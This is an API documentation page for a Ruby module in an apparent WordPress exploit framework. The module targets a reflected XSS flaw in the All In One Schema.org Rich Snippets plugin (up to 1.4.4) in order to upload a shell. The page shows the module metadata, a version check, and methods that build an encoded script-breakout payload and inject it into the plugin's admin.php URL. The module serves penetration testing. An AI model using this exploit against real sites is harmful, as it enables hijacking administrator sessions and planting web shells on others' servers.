class Wpxf::Exploit::AllInOneSchemaRichSnippetsReflectedXssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/all_in_one_schema_rich_snippets_reflected_xss_shell_upload.rb, line 7
def initialize
  super

  update_info(
    name: 'All In One Schema.org Rich Snippets <= 1.4.4 Reflected XSS Shell Upload',
    author: [
      'DefenseCode', # Discovery
      'rastating'    # WPXF module
    ],
    references: [
      ['WPVDB', '8834'],
      ['URL', 'http://www.defensecode.com/advisories/DC-2017-01-002_WordPress_All_In_One_Schemaorg_Rich_Snippets_Plugin_Advisory.pdf']
    ],
    date: 'May 24 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/all_in_one_schema_rich_snippets_reflected_xss_shell_upload.rb, line 24
def check
  check_plugin_version_from_readme('all-in-one-schemaorg-rich-snippets', '1.4.5')
end
url_payload() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/all_in_one_schema_rich_snippets_reflected_xss_shell_upload.rb, line 32
def url_payload
  url_encode("</script><script>#{xss_ascii_encoded_include_script}</script>")
end
url_with_xss() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/all_in_one_schema_rich_snippets_reflected_xss_shell_upload.rb, line 36
def url_with_xss
  "#{vulnerable_url}?page=rich_snippet_dashboard&bsf_force_send=true&bsf_send_label=#{url_payload}"
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/all_in_one_schema_rich_snippets_reflected_xss_shell_upload.rb, line 28
def vulnerable_url
  normalize_uri(wordpress_url_admin, 'admin.php')
end